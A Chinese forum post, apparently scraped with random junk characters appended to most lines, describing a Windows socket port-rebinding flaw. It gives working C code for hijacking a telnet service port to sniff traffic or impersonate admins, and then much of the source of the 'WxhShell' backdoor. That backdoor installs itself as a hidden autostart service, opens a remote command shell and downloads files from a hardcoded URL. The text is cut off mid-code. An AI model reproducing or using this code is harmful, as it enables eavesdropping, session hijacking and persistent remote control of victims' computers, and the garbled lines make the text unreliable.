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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ds-%\@p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t%=ylEPW  
*rqih_j0  
  saddr.sin_family = AF_INET; )\s:.<?EQ  
9t)t-t#P;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @4&sL](q  
CwT52+Jb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {UwJg  
t=U[ ;?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AU >d1S.  
gsAcn  
  这意味着什么?意味着可以进行如下的攻击: , X|oCD  
3"<{YEj8U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O[8Lp?  
LtNG<n)_BH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "3!4 hiU9  
mT~:k}u~W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \;g{qM 8  
A]>0lB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @ VJr0  
|"ck;.)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lQ)8zI  
K;YK[M1!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 578Dl(I#)  
rb9 x||  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 txliZ|.O  
7IFUsli]  
  #include 9@ ^/ON\O  
  #include b@,w/Uw[*  
  #include y_a~>S  
  #include    v1;`.PWD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mjH8q&szf  
  int main() 'av OQj]`K  
  { ";xG[ne$Be  
  WORD wVersionRequested; s=28.  
  DWORD ret; e+2!)w)[  
  WSADATA wsaData; J]Y." hi  
  BOOL val; Gd"lB*^Ht  
  SOCKADDR_IN saddr; AR)&W/S)7,  
  SOCKADDR_IN scaddr; f)*}L?  
  int err; S"fnT*:.%  
  SOCKET s; gmrj CLj  
  SOCKET sc; in%+)`'nH7  
  int caddsize; @P)GDB7A  
  HANDLE mt; #opFUX-  
  DWORD tid;   >yT:eG  
  wVersionRequested = MAKEWORD( 2, 2 ); =WN6Fj`  
  err = WSAStartup( wVersionRequested, &wsaData ); qA*QFQ'-  
  if ( err != 0 ) { D?9 =q  
  printf("error!WSAStartup failed!\n"); %1e`R*I  
  return -1; k:af  
  } F!.@1Fi1  
  saddr.sin_family = AF_INET; om@` NW  
   Y5(`/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \alRBHqE  
"IB)=Hc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jp2l}C  
  saddr.sin_port = htons(23);   }/M ~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o.sa ?*  
  { 3}XUYF;  
  printf("error!socket failed!\n"); ;)UZT^f`)K  
  return -1; EV]exYWB  
  } >6(nW:I0y  
  val = TRUE; `yc .A%5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3~M8.{ U#V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rMLCt Gi  
  { LkJ3 :3O  
  printf("error!setsockopt failed!\n"); Km-lWreTH  
  return -1; 377$c;4 F  
  } fFiFc^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QK//bV)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R0{n0Br  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Nnx"b 5I}n  
TN` pai0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jtl7t59R  
  { lHZf'P_Wx  
  ret=GetLastError(); NjL,0Bp  
  printf("error!bind failed!\n"); eK`n5Z&Y\  
  return -1; Lt=#tu&d  
  } Cm>8r5LG  
  listen(s,2); U<o,`y[Tn  
  while(1) 00<iv"8  
  { ,]Hn*\@p[c  
  caddsize = sizeof(scaddr); ~ / "aD  
  //接受连接请求 q}(UC1|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TB1 1crE  
  if(sc!=INVALID_SOCKET) Hn:%(Rg=aW  
  { pH)V:BmJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8`'_ckIgr  
  if(mt==NULL) RYmk6w!w  
  { dZv-lMYBE  
  printf("Thread Creat Failed!\n"); 6rdm=8WFA  
  break; }LQ&AIRN  
  } "jb?P$  
  } `}Q+:  
  CloseHandle(mt); Dh J<\_;  
  } +5 @8't  
  closesocket(s); <A+Yo3|7  
  WSACleanup(); @l BR;B"  
  return 0; ~9 K4]5K-  
  }   7nfQ=?XNK  
  DWORD WINAPI ClientThread(LPVOID lpParam) =7#)8p[  
  { v-&^G3  
  SOCKET ss = (SOCKET)lpParam; 2I6c7H s  
  SOCKET sc; BQt!L1))  
  unsigned char buf[4096]; TQYud'u/  
  SOCKADDR_IN saddr; Fb[<YX"  
  long num; tNfku  
  DWORD val; N\ GBjr-d  
  DWORD ret; Qz[~{-<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7&OU!gp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5ahAp];  
  saddr.sin_family = AF_INET; A+:K!|w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rnun() plJ  
  saddr.sin_port = htons(23); p4|:u[:&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [WC-EDO2lb  
  { ld`oIEj!P_  
  printf("error!socket failed!\n"); c tTbvXP  
  return -1; )|'? uN7  
  } q4lL7@_  
  val = 100; jb fMTb4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :^! wQ""  
  { F5{~2~Cw(  
  ret = GetLastError(); 8`9!ocrM  
  return -1; L 'H1\' o  
  } t~Ds)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CKrh14ul  
  { @(&ki~+   
  ret = GetLastError(); 3|g'1X}  
  return -1; b8Y1.y"#  
  } nA5v+d-<T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2'_Oi-&  
  { E#8`X  
  printf("error!socket connect failed!\n"); |L<oKMZY  
  closesocket(sc); \S1WF ?<,  
  closesocket(ss); ogDyrY}]  
  return -1; V#C[I~l  
  } t9W_ [_a9  
  while(1) R&=Y7MfZ  
  { 44($a9oa2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !j( v-pQf"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7@|(z:uw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6^}GXfJAc  
  num = recv(ss,buf,4096,0); cfa#a!Y4  
  if(num>0) k h#|`E#,  
  send(sc,buf,num,0); d),@&MSN  
  else if(num==0) x1?p+  
  break; ?Tt/,Hl?D  
  num = recv(sc,buf,4096,0); 2t/ba3Rfk  
  if(num>0) xlv:+  
  send(ss,buf,num,0); Z'PL?;&+R  
  else if(num==0) lg;`ItX]  
  break; 1,9RfYV  
  } Y Q3%vH5#y  
  closesocket(ss); nD!C9G#oS  
  closesocket(sc); 86.!s Q8b  
  return 0 ; D("['`{  
  } l,-smK69  
enK4`+.7  
UYGl  
========================================================== 5qR76iH) /  
*cq#>rN  
下边附上一个代码,,WXhSHELL 'xvV;bi  
b]Oc6zR,,~  
========================================================== }a-ikFQ]  
i#iY;R8  
#include "stdafx.h" )6^b\`  
:G,GHU'/78  
#include <stdio.h>  H[fD >  
#include <string.h> WcbJ4Ore  
#include <windows.h> NS mo(c >5  
#include <winsock2.h> ~iyd p  
#include <winsvc.h> N@Bqe{r6j  
#include <urlmon.h> ;@ %~eIlu  
>0T0K`o  
#pragma comment (lib, "Ws2_32.lib") }0}J  
#pragma comment (lib, "urlmon.lib") W>/O9?D  
yV=hi?f-[V  
#define MAX_USER   100 // 最大客户端连接数 ^~eT# Y8  
#define BUF_SOCK   200 // sock buffer ;(TBg-LEK  
#define KEY_BUFF   255 // 输入 buffer 82efqzT  
-P@o>#Em  
#define REBOOT     0   // 重启 qeH#c=DQ  
#define SHUTDOWN   1   // 关机 ?(;ygjyx  
)u'oI_  
#define DEF_PORT   5000 // 监听端口 .ikFqZ$$  
pi3Z)YcT  
#define REG_LEN     16   // 注册表键长度  w~&bpCB!  
#define SVC_LEN     80   // NT服务名长度 ~ m, z|  
x !]ZVl]  
// 从dll定义API hRtnO|Z6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $BkdC'D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,dK%[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G2 xYa$&][  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eNi.d;8F  
%ktU 51o  
// wxhshell配置信息 Y')in7g  
struct WSCFG { Eki7bT@/  
  int ws_port;         // 监听端口 W~Eq_J?I  
  char ws_passstr[REG_LEN]; // 口令 x]Q+M2g?  
  int ws_autoins;       // 安装标记, 1=yes 0=no =r:D]?8oC  
  char ws_regname[REG_LEN]; // 注册表键名 H2p1gb#  
  char ws_svcname[REG_LEN]; // 服务名 %~ZOQ%c1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /M\S^ !g@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {(7C=)8):  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /,c9&i t(M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8!S="_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n[ AJ'A{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6n45]?  
\Vr(P>  
}; 'hg, W]  
<b{Le{QJ*  
// default Wxhshell configuration c]t =#  
struct WSCFG wscfg={DEF_PORT, +q1 @8  
    "xuhuanlingzhe", =y[eQS$  
    1, /XtxgO\T.  
    "Wxhshell", xAon:58m{  
    "Wxhshell", )TVyRYZ1  
            "WxhShell Service", {6a";Xj\e  
    "Wrsky Windows CmdShell Service", \/S?.P#L~  
    "Please Input Your Password: ", }7wQFKME  
  1, ]C}z3hhk  
  "http://www.wrsky.com/wxhshell.exe", :X,1KR  
  "Wxhshell.exe" g>T'R Vb  
    }; /'!F \ kz  
+w%MwPC7`  
// 消息定义模块 po\QMe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cQS}pQyYN  
char *msg_ws_prompt="\n\r? for help\n\r#>";  UTHGjE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V)_mo/D!D  
char *msg_ws_ext="\n\rExit."; *~:4&$  
char *msg_ws_end="\n\rQuit."; f\2'/g}6a  
char *msg_ws_boot="\n\rReboot..."; '~<D[](/F  
char *msg_ws_poff="\n\rShutdown..."; *"q ~z  
char *msg_ws_down="\n\rSave to "; "a>%tsl$K  
0_,V}  
char *msg_ws_err="\n\rErr!"; 'FO^VJ;ha  
char *msg_ws_ok="\n\rOK!"; hXmW,+1  
rnEWTk7&  
char ExeFile[MAX_PATH]; :M'3U g$t  
int nUser = 0; U3 ED3) D  
HANDLE handles[MAX_USER]; UXR$7<D+  
int OsIsNt; ~~&8I!r e  
H [R|U   
SERVICE_STATUS       serviceStatus; ^Me__Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uRxo,.}c  
,.x1+9X  
// 函数声明 : -te  
int Install(void); Mpb|qGi!  
int Uninstall(void); mWfzL'*  
int DownloadFile(char *sURL, SOCKET wsh); Ub4j3`  
int Boot(int flag); j]M $>2;  
void HideProc(void); <eQS16  
int GetOsVer(void); !xA;(<K[^  
int Wxhshell(SOCKET wsl); @]gP"Pp  
void TalkWithClient(void *cs); ZMy,<wk  
int CmdShell(SOCKET sock); 7o'kdY Jzo  
int StartFromService(void); }+,1G!? z  
int StartWxhshell(LPSTR lpCmdLine); )LKutN?tBy  
OiJ1&Fz(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s-3vp   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v>;6pcp[F  
Z  r  
// 数据结构和表定义 J XbG|L  
SERVICE_TABLE_ENTRY DispatchTable[] = )zz"DH  
{ z;2kKQZm  
{wscfg.ws_svcname, NTServiceMain}, NIQNzq?a^  
{NULL, NULL} bTb|@  
}; lk)38.  
nH/V2> Lm  
// 自我安装 5ju\!Re3X  
int Install(void) =Pd3SC})6V  
{ |J?KHI  
  char svExeFile[MAX_PATH]; [8l8 m6  
  HKEY key; vRVQ:fw  
  strcpy(svExeFile,ExeFile); H+;>>|+:~  
A)/_:  
// 如果是win9x系统,修改注册表设为自启动 BJB'o  
if(!OsIsNt) { ?R#-gvX%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m!tB;:6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Go= MG:`  
  RegCloseKey(key); !J3g,p*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <;=?~QK%-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W(9-XlYKE  
  RegCloseKey(key); =M*31>"I0  
  return 0; E}b" qOV  
    } > CZ|Vx  
  } :-69,e  
} 9]xOu Cb  
else { /MosE,7l  
k-*H=km  
// 如果是NT以上系统,安装为系统服务 L|u\3.:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kj;Q;Ii  
if (schSCManager!=0) ; SagN  
{ |Q@4F&k  
  SC_HANDLE schService = CreateService z^ rf;  
  ( =NQDxt}  
  schSCManager, @9~6+BZOq  
  wscfg.ws_svcname, g-bHf]'  
  wscfg.ws_svcdisp, F $^RM3  
  SERVICE_ALL_ACCESS, es6!p 7p?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J)"2^?!&B  
  SERVICE_AUTO_START, l*e*jA_>:7  
  SERVICE_ERROR_NORMAL, a[ 1^)=/DM  
  svExeFile, T oTehVw  
  NULL, 9B{,q6  
  NULL, g\,pZ]0i  
  NULL, >h(n8wTP  
  NULL, +ZQf$@+  
  NULL L 1H!o!*  
  ); pW2NrBq@w  
  if (schService!=0) 7b_t%G"  
  { 4%Z!*W*  
  CloseServiceHandle(schService); @aAB#,  
  CloseServiceHandle(schSCManager); Tuo`>ZA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RpOGY{[)[  
  strcat(svExeFile,wscfg.ws_svcname); 8Mf6*G#Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8LB,8 *L^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J NPEyC  
  RegCloseKey(key); 6k|o<`~,  
  return 0; *%=BcV+,  
    } |a*VoMZ  
  } bqWo*>l  
  CloseServiceHandle(schSCManager); )+OI}  
} +C' u!^ )  
} iqreIMWz  
TwH%P2)x  
return 1; =8?y$WE  
} ?\"GT]5D  
Nj rF":'Y  
// 自我卸载 ,.A@U*j  
int Uninstall(void) ~:'tp28?  
{ ;wK;  
  HKEY key; MHeUh[%(  
Qz=F nR  
if(!OsIsNt) { U*!q@g_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ a^bsKW  
  RegDeleteValue(key,wscfg.ws_regname); |r>+\" X  
  RegCloseKey(key); 7 XE&[o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z-z^0QO  
  RegDeleteValue(key,wscfg.ws_regname); (~q.YJ'  
  RegCloseKey(key); r'/&{?Je/  
  return 0; /99S<U2ej  
  } YcOPqvQ  
} duFVh8  
} =PYfk6j9  
else { =(2y$,6g?  
)S@e&a|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +pXYBwH 7Q  
if (schSCManager!=0) u1a0w  
{ %A64AJZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  DA]<30 w  
  if (schService!=0) &W+lwEu  
  { ;)$bhNFHx  
  if(DeleteService(schService)!=0) { h;cl+c|B  
  CloseServiceHandle(schService); -FpZZ8=,M2  
  CloseServiceHandle(schSCManager); -@L7! ,j  
  return 0; =z^ 2KH  
  } IJa6W`}  
  CloseServiceHandle(schService); fGj YWw  
  } q)te/J@  
  CloseServiceHandle(schSCManager); i^T@jg+K  
} D+m#_'ocL  
} h K;9XJAf  
-LzkM"  
return 1; \A7{kI  
} -w'  
G\&9.@`k  
// 从指定url下载文件 mv] .  
int DownloadFile(char *sURL, SOCKET wsh) -UY5T@as  
{ IUf&*'_  
  HRESULT hr; uPCzs$R  
char seps[]= "/"; -[/tS<U  
char *token; m';j#j)w  
char *file; >x?x3#SX  
char myURL[MAX_PATH]; Hi%)TDfv  
char myFILE[MAX_PATH]; 'F2g2W`  
zUq ^  
strcpy(myURL,sURL); @7UZ{+67*C  
  token=strtok(myURL,seps); !ZNirvk  
  while(token!=NULL) *$e1Bv6 $  
  { X1* f#3cm#  
    file=token; :m.6a4vx  
  token=strtok(NULL,seps); 7[=\bL  
  } =z >d GIT1  
+FomAs1*f  
GetCurrentDirectory(MAX_PATH,myFILE); jkAWRpOc)  
strcat(myFILE, "\\"); ]#k=VKdV  
strcat(myFILE, file); TrCut 2  
  send(wsh,myFILE,strlen(myFILE),0); n8 UG{. =  
send(wsh,"...",3,0); Lb]!TOl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u00w'=pe)  
  if(hr==S_OK) Ic2Q<V}oq  
return 0; /cHUqn30a  
else :1asY:)vNP  
return 1; B(|*u  
r&%TKm^/  
} M( w'TE@  
-al\* XDz  
// 系统电源模块 '+EtnWH s  
int Boot(int flag) (aC~0 #4  
{ `D/<*e,#  
  HANDLE hToken; W&~\@j]!D  
  TOKEN_PRIVILEGES tkp; H!'Ek[s+  
ycq+C8J+Ep  
  if(OsIsNt) { n(uzqd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b~$8<\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |j}D2q=  
    tkp.PrivilegeCount = 1; b:WA}x V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k3(q!~a:.}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QmgO00{  
if(flag==REBOOT) { h"0)g :\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .;\uh$c  
  return 0; B4@1WZn<8  
} e&@;hDmIX  
else { X9 N4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3</W}]$)p  
  return 0; M ^ZEAZi  
} +D+v j|fn  
  } *82+GY]  
  else { >:Y"DX-  
if(flag==REBOOT) { zMke}2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FEH+ PKSc  
  return 0; |)VNf .aJZ  
} B>}B{qi|  
else { z:^ (#G{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8n/8uRIR  
  return 0; lVv'_9yg  
} YsO3( HS  
} qnb#~=x^  
GIb,y,PDB  
return 1; ARUzEo gcf  
} e0<Wed  
u>ZH-nw O  
// win9x进程隐藏模块 BOfl hoUX  
void HideProc(void) y(ceEV  
{ 23d*;ri5  
IayF<y,8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0fGt7 "Q  
  if ( hKernel != NULL ) L35]'Jua  
  { oeYUsnsbi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !J&UO/q.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IG.!M@_  
    FreeLibrary(hKernel); HTLS$o;Q  
  } 0"}=A,o(w  
D&o ~4Qvc]  
return; J#IVu?B  
} Or#KF6+ut  
A vww @$  
// 获取操作系统版本 { SF'YbY  
int GetOsVer(void) ;Q8`5h   
{ =pZ$oTR  
  OSVERSIONINFO winfo; X2|&\G9c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \3&1iA9=)  
  GetVersionEx(&winfo); 6d`qgEM3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XXw>h4hl  
  return 1; 5dX /<  
  else 8d?%9# p-)  
  return 0; [Kg3:]2A  
} C);3GPp  
-FF#+Z$  
// 客户端句柄模块 Yl&bv#[z  
int Wxhshell(SOCKET wsl) m*wDJEKo  
{ 0.S7uH%"  
  SOCKET wsh; C#V_Gb  
  struct sockaddr_in client; }hE!0q~MfM  
  DWORD myID; /PVx  
U2)?[C1q{  
  while(nUser<MAX_USER) g"~`\ xhx  
{ EQe$~}[  
  int nSize=sizeof(client); ;}lsD1S:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J%]5C}v \  
  if(wsh==INVALID_SOCKET) return 1; 1#3eY? Nb  
K]1| #`n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b")O#v.  
if(handles[nUser]==0) Z;z,dw  
  closesocket(wsh); #@' B\!<@=  
else JXjH}C  
  nUser++; ^RE[5h6^q  
  } L&KL]n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O=eU38n:5u  
Kum" }ux  
  return 0; ^M1jv(  
} Uw]o9 e0S  
}vU^g PH  
// 关闭 socket Py?e+[cN  
void CloseIt(SOCKET wsh) |{ =Jp<} s  
{ I s|_  
closesocket(wsh); ~z^49Ys:  
nUser--; 1+"d-`'Z2O  
ExitThread(0); qpQiMiB#g'  
} 9K;g\? 3  
.}GOHW)}  
// 客户端请求句柄 *0vRVlYf  
void TalkWithClient(void *cs) KRX\<@  
{ !3<b#QAXRG  
p1[|5r5Day  
  SOCKET wsh=(SOCKET)cs; !<HF764@`  
  char pwd[SVC_LEN]; 1g,Ofr  
  char cmd[KEY_BUFF]; 2Jky,YLcb  
char chr[1]; fRxn,HyV  
int i,j; 7|"l/s9,  
Y3#8]Z_"}O  
  while (nUser < MAX_USER) { W9{i~.zo  
:]4s;q:m  
if(wscfg.ws_passstr) { IA Ws}xIly  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k& M~yb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XI:+EeM?  
  //ZeroMemory(pwd,KEY_BUFF); JC`;hY  
      i=0; $> ;|  
  while(i<SVC_LEN) { s1R#X~d  
39m8iI%w[  
  // 设置超时 vTo+jQs^  
  fd_set FdRead; bxPJ5oT  
  struct timeval TimeOut; A>,kmU5  
  FD_ZERO(&FdRead); S(Z\h_m(  
  FD_SET(wsh,&FdRead); WL|71?@C  
  TimeOut.tv_sec=8; :`K2?;DC8  
  TimeOut.tv_usec=0; NiEz3ODSi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v-8{mK`9\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ([|^3tM  
~;-2eKw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0eKLp8;Lh  
  pwd=chr[0]; @NiLKcL#  
  if(chr[0]==0xd || chr[0]==0xa) { \Unawv~  
  pwd=0; {3SK|J`  
  break; <Qr*!-Kc6  
  } elR1NhB|p  
  i++; -]-0]*oAp  
    } MR: H3  
t\]kVo)  
  // 如果是非法用户,关闭 socket 'SXLnoeTa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;1s;"  
} I FvigDj?  
6kMEm)YjT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3sRI 7g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V lkJ$f5l  
_dECAk &b  
while(1) { |9F-ZH~6  
ZFh[xg'0  
  ZeroMemory(cmd,KEY_BUFF); aK(e%Ed t"  
+K8T%GAr  
      // 自动支持客户端 telnet标准   (uX"n`Dk  
  j=0; Uu@qS  
  while(j<KEY_BUFF) { *NM*   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oiM['iDK  
  cmd[j]=chr[0]; Ki1 zi~  
  if(chr[0]==0xa || chr[0]==0xd) { NG RXNh+  
  cmd[j]=0; FjI1'Ah\  
  break; Y] UoV_  
  } fB&i{_J  
  j++; cp"{W-Q{$  
    } *3h_'3yo@  
VZe'6?#  
  // 下载文件 DZ $O%  
  if(strstr(cmd,"http://")) { kyZZ0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |MN2v[y  
  if(DownloadFile(cmd,wsh)) qG2P?DR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|>@ >F]K  
  else QxuU3#l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3g56[;Up?  
  } RH$l?j6  
  else { R&:Qy7"  
&|h9L'mr  
    switch(cmd[0]) { nEP3B '+  
  _mQj=  
  // 帮助 /1m+iM^V  
  case '?': { E(z|LS*3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k py)kS  
    break; |Bv,*7i&  
  } EP90E^v^  
  // 安装 Nx+5rp  
  case 'i': {  XF>!~D  
    if(Install()) EMxMJ=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >]A#_p  
    else >6W#v[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Bd=K=3u  
    break; *5\'$;Rg  
    } HX,i{aWWy  
  // 卸载 ~0o>B$xJ  
  case 'r': { naA8RD5/  
    if(Uninstall()) sO!m,pK(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |9BX  ~`{  
    else c>T)Rc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (]VY==t~  
    break; 7VdxQ T  
    } ] yWywa\  
  // 显示 wxhshell 所在路径 F7/%,vf  
  case 'p': { uJ fXe  
    char svExeFile[MAX_PATH]; ]l3Y=Cl  
    strcpy(svExeFile,"\n\r"); T-iQ!D~  
      strcat(svExeFile,ExeFile); meXwmO  
        send(wsh,svExeFile,strlen(svExeFile),0); |N3#of(  
    break; %sPq*w.  
    } $Y\7E/T  
  // 重启 %Na` \`L{F  
  case 'b': { cBU3Q<^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hBifn\dFr  
    if(Boot(REBOOT)) ah(k!0PV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d DAl n+  
    else { DeeV;?:  
    closesocket(wsh); epG =)gd=8  
    ExitThread(0); S\GxLW@x  
    } +D[C.is>]}  
    break; 5`lVC$cP  
    } 0zsmZ]b5E  
  // 关机 O%aHQL%Sz  
  case 'd': { h2= wC.  
